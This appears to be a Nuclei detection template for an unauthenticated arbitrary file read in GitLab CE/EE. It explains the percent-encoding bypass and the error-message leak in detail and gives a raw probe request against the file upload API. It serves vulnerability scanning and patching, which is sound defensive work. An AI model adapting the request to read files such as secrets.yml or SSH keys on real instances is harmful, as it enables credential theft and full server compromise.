GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read

id: CVE-2026-85706

info:
  name: GitLab CE/EE <=19.1.7/19.2.5/19.3.1 - Arbitrary File Read
  author: FLX
  severity: critical
  description: |
    GitLab CE/EE contains an unauthenticated arbitrary file read. Workhorse, the reverse proxy in front of Rails, matches upload routes using EscapedPath() and path.Clean without decoding percent sequences, while Puma decodes them before routing to Grape. Appending a trailing slash to commits or percent-encoding a static path segment as %63ommits therefore bypasses Workhorse upload route rewriting, and Rails reaches file_params_from_body_upload() which opens the path given in the file.path parameter before authenticate! is enforced. On the application/x-www-form-urlencoded branch the file bytes are handed to Rack::Utils.parse_nested_query, and any invalid percent sequence raises an ArgumentError whose message is interpolated into the HTTP 400 response body, disclosing file content to an unauthenticated caller.
  impact: |
    Unauthenticated remote attackers can read any file accessible to the GitLab git user, including /etc/passwd, database credentials, secrets.yml, SSH private keys, and CI build artifacts, which in turn enables session forgery and full compromise of the instance. Exploitation requires at least one publicly readable project on the target.
  remediation: |
    Upgrade GitLab CE/EE to 19.1.8, 19.2.6, or 19.3.2 or later. The fix moves authenticate! ahead of file processing and stops accepting raw file.path and file.size parameters from untrusted clients.
  reference:
    - https://about.gitlab.com/releases/2026/09/10/patch-release-gitlab-19-3-2-released/
    - https://gitlab.com/gitlab-org/gitlab/-/commit/0ff7b6b2911723389f2271b10362591b0a69a166
    - https://github.com/ynsmroztas/GitLabSniper
    - https://github.com/mhtsec/CVE-2026-85706
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85706
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
    cvss-score: 10.0
    cve-id: CVE-2026-85706
    epss-score: 0.97355
    epss-percentile: 0.99897
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: gitlab
    product: gitlab
    shodan-query: http.title:"GitLab"
    fofa-query: title="gitlab"
  tags: cve,cve2026,gitlab,lfi,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST /api/v4/projects/1/repository/%66iles/{{randstr}}?file=&file.path=/cve-2026-85706-nuclei-probe&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json, */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "local file not present"

      - type: status
        status:
          - 400